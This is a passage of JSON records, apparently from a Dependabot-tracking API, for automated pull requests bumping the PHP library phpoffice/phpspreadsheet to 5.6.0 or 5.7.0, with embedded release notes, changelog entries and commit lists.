score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.5.0\u0026new-version=5.7.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/roldaobatista/sistema/pull/35","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/roldaobatista%2Fsistema/issues/35","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/35/packages"}},{"old_version":"5.5.0","new_version":"5.7.0","update_type":"minor","path":null,"pr_created_at":"2026-04-20T08:43:06.000Z","version_change":"5.5.0 → 5.7.0","issue":{"uuid":"4294327663","node_id":"PR_kwDORw3CnM7T4O8n","number":21,"state":"open","title":"chore(deps): bump phpoffice/phpspreadsheet from 5.5.0 to 5.7.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-20T08:43:06.000Z","updated_at":"2026-04-20T08:43:07.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.5.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.5.0 to 5.7.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.5.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.5.0\u0026new-version=5.7.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/Willgunter/openemr/pull/21","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Willgunter%2Fopenemr/issues/21","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/21/packages"}},{"old_version":"5.5.0","new_version":"5.6.0","update_type":"minor","path":null,"pr_created_at":"2026-04-11T01:04:16.000Z","version_change":"5.5.0 → 5.6.0","issue":{"uuid":"4242416691","node_id":"PR_kwDOCxuJcc7RmehH","number":3282,"state":"open","title":"Chore(deps): Bump phpoffice/phpspreadsheet from 5.5.0 to 5.6.0","user":"dependabot[bot]","labels":["dependencies","3. to review"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-11T01:04:16.000Z","updated_at":"2026-04-11T01:34:25.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Chore(deps): Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.5.0","new_version":"5.6.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.5.0 to 5.6.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca 